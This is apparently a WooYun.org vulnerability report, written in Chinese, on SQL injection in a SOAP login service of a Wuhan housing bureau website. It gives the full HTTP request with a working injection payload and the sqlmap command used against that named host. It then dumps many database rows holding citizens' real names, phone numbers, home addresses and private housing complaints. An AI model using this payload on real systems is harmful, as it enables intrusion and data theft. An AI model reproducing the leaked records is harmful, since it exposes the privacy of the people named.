WooYun.org

注入漏洞在这：

POST /scxxbackstage/SiteFiles/Inner/PageService.asmx HTTP/1.1
Cache-Control: no-cache
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.170 Safari/537.36 Netsparker
SOAPAction: "http://siteserver.cn/webservices/Login"
Accept-Language: en-us,en;q=0.5
X-Scanner: Netsparker
Host: scxx.whfcj.gov.cn
Cookie: ASPSESSIONIDACBSQQBT=CHFNIBJBAIFDGLAHLENAAIGH
Accept-Encoding: gzip, deflate
Content-Length: 735
Content-Type: text/xml; charset=utf-8
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <soap:Body>
    <Login xmlns="http://siteserver.cn/webservices/">
      <userName>'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'</userName>
      <password>3</password>
      <validateCode>01/01/2011</validateCode>
      <isRemember>false</isRemember>
      <isAdmin>false</isAdmin>
      <isCheckCode>false</isCheckCode>
      <isCrossDomain>false</isCrossDomain>
    </Login>
  </soap:Body>
</soap:Envelope>

这个是POST的内容。用sqlmap跑
sqlmap.py -r 2.txt

发现有大量别人咨询信息与地址跟电话

5205 2.01E+14 5 88185038 NULL 林风 打算在开发区（阳逻）买套房子，开发商说只能办理房屋所有权证，不代办土地使用证。 问：现在购买新房需要哪些证件？只有房屋所有权证可以吗？如何辨别真伪？ <blank> NULL 10 1 2009 9:56AM 咨询：新房权属凭证 NULL 1 NULL <blank> [email protected] NULL
5206 2.01E+15 5 13147140054 NULL 黄莉 是否还建到古田四路的帝园。 几时能拿到房号。 如何选房。 <blank> NULL 10 1 2009 10:55PM 建议：硚口区沿河大道金三角拆迁安置 NULL 0 NULL <blank> <blank> NULL
5207 2.01E+15 5 13487015938 NULL 阮号 我1998年买了我爸爸朋友的一所房屋，她是中学老师，房屋是她们单位分的房，只有集体房产，而且购房合同是学校和她签的，我想问一下，我能不能将集体房产转成我个人房产，如果可以，需要那些手续和证件。 [email protected] NULL 10 1 2009 11:06PM 咨询：集体房产怎样转成个人房产 NULL 1 NULL <blank> <blank> NULL
5208 2.01E+15 5 15527508159 NULL 陈东 我在自家承包的土地建立了5亩地的蚯蚓养殖场，并办理了营业执照，缴纳了费用，拆迁了为什么不予赔偿，多次找各个信访部门反映，都互相踢皮球，不给老百姓办实事。党和中央现在提倡和谐社会。我该怎么办。请知道的同志能告诉我吗，在这里我先谢谢大家了。 [email protected] NULL 10 3 2009 12:53PM 投诉：我办理的养殖场拆迁了为什么不予赔偿 NULL 1 NULL 南湖社区 武汉东湖开发区南湖社区26栋3单元301 NULL
5209 2.01E+15 5 13714832368 NULL 王泽志 拆迁公司现金收购拆迁房进行拆除，另寻合作伙伴，无须投资，利益共享，诚邀有识之士共谋发展 [email protected] NULL 10 3 2009 2:30PM 建议：拆迁 NULL 1 NULL 拆迁 苏州 NULL
5210 2.01E+15 5 61122333 NULL 张长生 我们是首义的拆迁户，为何在国土房产局的官网上没有查到拆迁许可证，如果根本就没有许可证，那拆迁就是非法的。请回答。 <blank> NULL 10 3 2009 9:47PM 投诉：首义文化区二期拆迁为何没有在网上查到它的拆迁许可证 NULL 1 NULL <blank> <blank> NULL
5211 2.01E+15 5 13798686409 NULL 陈亮 我外公有一套房产，房产是我外公一个人的名字，我外公去世了，我外婆想把房子过户到自己名下，请问需要办理哪些手续，费用是怎样的，需不需要经过外婆儿女的同意，望能得到详尽解答，谢谢。 [email protected] NULL 10 3 2009 9:57PM 建议：房产过户 NULL 0 NULL <blank> <blank> NULL
5212 2.01E+15 5 15827642450 NULL 温明导 我08年购买了一套经济适用房。因收入问题，无法承担银行贷款。现在想出售。按政策未满5年由国家回购。请问具体程序怎么办？ [email protected] NULL 10 4 2009 1:36PM 咨询：经济适用房出售 NULL 1 NULL <blank> 武汉市武昌区八一路甲一号 NULL
5213 2.01E+15 5 13007104563 NULL 吴亮 我办理中国电信电话与宽带包年业务 准备10.1搬去二七人家新小区住，找电信联系办理搬迁业务，结果小区物业以不让电信牵明线为理由 不让电信牵线 电信那边的钱是也交了的,他们多拖一天,我的钱就白交一天。所以现在投诉二七人家的物业 <blank> NULL 10 4 2009 2:55PM 投诉：投诉 黑泥湖路 二七人家小区物业 NULL 1 NULL <blank> <blank> NULL
5214 2.01E+15 5 15827463426 NULL 邹宁 武汉洪发物业发展有限公司在没有和拆迁户达成拆迁协议的情况下，也没有通过行政裁决就在2009年10月3号国庆中秋节私自强行拆除武汉市洪山区珞狮路451号（原湖北省物资学校教师宿舍）拆迁户的房屋。造成多家老教师无家可归。在拆除前曾经多次对拆迁户的房屋进行打砸抢，造成房屋被砸毁，财产被盗抢达十多万元。这种在光天化日之下无视法律法规，公然侵害公民合法权益的行为，应该受到严惩！作为国土资源管理局应该追究其违法行为，其拆迁属于违法拆迁，不予验收合格！ [email protected] NULL 10 4 2009 7:18PM 投诉：请党和政府阻止开发商违法私自拆除合法私有房屋 NULL 1 NULL <blank> <blank> NULL
5215 2.01E+15 5 13808645005 NULL 刘辉 我是南湖中央花园红杜里7栋4单元的住户，举报1楼102室的住户乱挖地下室，危及楼上住户的住房安全。 [email protected] NULL 10 5 2009 12:04PM 投诉：一楼乱挖地下室 NULL 0 NULL 湖北省高速公路管理局 关山一路668# NULL
5216 2.01E+15 5 15827463426 NULL 刘桂兰，邹宁 武汉洪发物业发展有限公司违法拆毁合法私有房屋 武汉市国土资源和房产管理局 为支持国家建设和城市发展，开发商应依法拆迁友情操作。我母亲（74岁退休女教师）的家（地址：武汉市洪山区珞狮路451号4栋501室，原湖北省物资学校教师宿舍楼），在和开发商处于协商拆迁事宜期间，还没有达成任何协议的情况下，开发商武汉洪发物业发展有限公司公然违法拆毁推倒我家的房屋，甚至以暴力进行人身侵犯和恐吓威胁，我们多次110报警并上访洪山区政府，至今却没有得到任何方面的回复和制止，难道中国真的没有法制了吗？！ 请看开发商的违法行为： 2009年9月12日，我家第一次被砸，家中被盗走的私有财产达8万余元。而且防盗大门彻底毁坏不能打开(如下图所示)。 2009年9月14日，我家第二次被砸，防盗大门已经完全从墙体中凿挖出来丢弃在楼梯走道处，家中盗走财产和砸毁家具损失达十余万元，砸掉屋内的所有房门和铁窗，房内地板被砸穿个大洞可直接看到楼下，阳台栏杆被砸掉，厨房厕所的所有铸铁管道全部被锯掉。(如下图所示) 2009年10月3号（国庆中秋节）我家的房屋被开发商违法拆毁，现在是一堆废墟。(如下图所示) 事实的经过如下： 2009年8月27日 开发商电话通知我们，要求和我家协商拆迁事宜。 2009年9月4日～9月10日 我们专程请假从上海返回武汉和开发商商谈拆迁事宜。 2009年9月12日 当&not;我们再次从上海返回武汉准备继续和开发商协商，发现家已被开发商砸，财产损失达八万余元。（如上所述） 2009年9月14日 我家第二次遭开发商打砸至毁，损失达十余万元。（如上所述） 2009年10月2日 我们和开发商继续商议拆迁事宜，准备在国庆节期间内继续保持商议。 2009年10月3日 （国庆中秋节）我家的房屋被开发商违法拆毁，现在是一堆废墟。当我们要保卫自己的家园不被拆毁时，还遭到开发商现场拆迁人员的人身暴力侵犯和威胁！110警察赶到现场也未能阻止房屋最后被拆毁倒塌。 从和开发商正式商谈拆迁事宜，到开发商违法拆毁我家房屋只有29天。根据宪法第十三条规定：“公民的合法的私有财产不受侵犯。 国家依照法律规定保护公民的私有财产权和继承权”；宪法第三十九条规定：“中华人民共和国公民的住宅不受侵犯。禁止非法搜查或者非法侵入公民的住宅”；物权法第六十六条规定：“私人的合法财产受法律保护，禁止任何单位和个人侵占、哄抢、破坏。”我母亲的房子是她老人家辛苦一辈子的唯一财产，是受法律保护的合法财产。（其中被开发商违法拆除的不止我们一家） 但是，就在这29天内开发商一直肆无忌惮地违反国家法律，侵害我们的合法权益。在此期间，我家分别在9月12号、20号和10月3号拨打110报警并到武汉市洪山派出所备案，还于9月12号上访洪山区政府反映相关情况，但至今仍眼睁睁的看着开发商把我们的房屋一次次地打砸抢，最后拆毁推倒也没有得到任何方面的回复和制止！！我们的内心此时此刻感觉不到我们伟大党和谐阳光的照耀，有的却是一种“有国无家”凄惨、无助的感觉！！ 在此，我们谨以一位为中国革命教育事业贡献一生的74岁退休老教师身份和一名期望老母亲能安度晚年的年轻共产党员的身份恳请党组织和相关政府部门，为我们作主捍卫法律尊严，严惩这种在光天化日下打、砸、抢违法乱纪严重侵害人民合法私有财产的开发商，并责令开发商赔偿我们的房屋和家里的一切财产损失！ 受害人： 联系电话：15827463426、13564251287 027－828118 联系地址：汉口胜利街49号福宁阁17楼 邮编：430014 联系人：刘桂兰 刘青芳 2009-10-4 [email protected] NULL 10 5 2009 4:53PM 投诉：请政府为我们作主！ NULL 1 NULL 湖北省物质学校 <blank> NULL
5217 2.01E+15 5 18607144783 NULL 李明 本人于2009年5月，在东西湖“九坤五环华城”买了一套房子，合同上注明交房日期为：2009年9月30日。在交房之日，二十几位业主集体要求开发商出示《建筑工程竣工验收备案证》，开发商无法出示，该公司一名姓吴的老总明确表示此证未办理下来，并强迫广大业主于2009年10月15日前必须收房。鉴于此开发商如此恶劣及强势和态度，特向武汉市房产管理局进行投诉，希望相关部门能严肃认真的对待此事件，为开发商与业主之间搭建一条“平等”的沟通纽带，并严格按照武汉市房屋合同第九条交房流程来进行交房事宜，请予解决。 <blank> NULL 10 5 2009 6:48PM 投诉：投诉东西湖区“九坤五环华城”开发商 NULL 1 NULL <blank> <blank> NULL
5218 2.01E+14 5 13797057524 NULL 刘敏 我父母已过世，我兄弟四人，请问要办过户手续，要准备哪些证明，如何办理？父母的房子在新华社区（湖北省新华印刷厂宿舍） [email protected] NULL 10 6 2009 9:47AM 咨询：房屋过户 NULL 1 NULL <blank> <blank> NULL
5219 2.01E+15 5 13545070776 NULL 向德玉 请问：将父亲名下的房屋产权变更到儿子名下，需要提交哪些材料？需要交哪些费用？是否可在所在区办理？ 谢谢！ [email protected] NULL 10 6 2009 3:32PM 咨询：房屋产权过户问题 NULL 0 NULL <blank> <blank> NULL